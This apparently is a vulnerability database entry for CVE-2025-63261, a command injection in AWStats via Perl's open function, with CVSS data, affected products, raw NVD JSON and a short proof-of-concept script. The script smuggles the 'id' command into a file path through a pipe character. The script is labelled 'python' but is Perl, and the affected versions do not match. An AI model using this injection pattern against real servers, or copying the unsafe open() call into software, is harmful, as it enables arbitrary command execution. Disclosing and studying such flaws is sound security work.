Security Vulnerability Report
中文
CVE-2025-63261 CVSS 7.8 HIGH

CVE-2025-63261

Published: 2026-03-20 21:17:13
Last Modified: 2026-04-07 16:08:01

Description

AWStats 8.0 is vulnerable to Command Injection via the open function

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:awstats:awstats:7.9:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:* - VULNERABLE
AWStats 8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/perl # Proof of Concept for CVE-2025-63261 # Demonstrates command injection via the open function in AWStats use strict; use warnings; # Simulating vulnerable open function usage # In a real scenario, $user_input comes from an untrusted source (e.g., HTTP parameter) my $user_input = "/var/log/apache2/access.log | id |"; print "Attempting to open file with input: $user_input\n"; # Vulnerable code pattern: open(FILE, $user_input) # If $user_input contains a pipe '|', Perl executes the command after it. # This mimics the vulnerability in AWStats 8.0 if (open(my $fh, $user_input)) { while (my $line = <$fh>) { print $line; } close($fh); } else { print "Failed to open.\n"; } # Expected output: The result of the 'id' command, indicating command execution.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63261", "sourceIdentifier": "[email protected]", "published": "2026-03-20T21:17:12.800", "lastModified": "2026-04-07T16:08:00.883", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AWStats 8.0 is vulnerable to Command Injection via the open function"}, {"lang": "es", "value": "AWStats 8.0 es vulnerable a inyección de comandos a través de la función open"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:awstats:awstats:7.9:*:*:*:*:*:*:*", "matchCriteriaId": "956487B4-29CE-4869-BBA5-4393F57BC0DA"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*", "matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED"}]}]}], "references": [{"url": "https://github.com/eldy/AWStats/blob/develop/wwwroot/cgi-bin/awstats.pl", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://pentest-tools.com/PTT-2025-021-Code-Execution-in-AWStats.pdf", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://lists.debian.org/debian-lts-announce/2026/03/msg00013.html", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}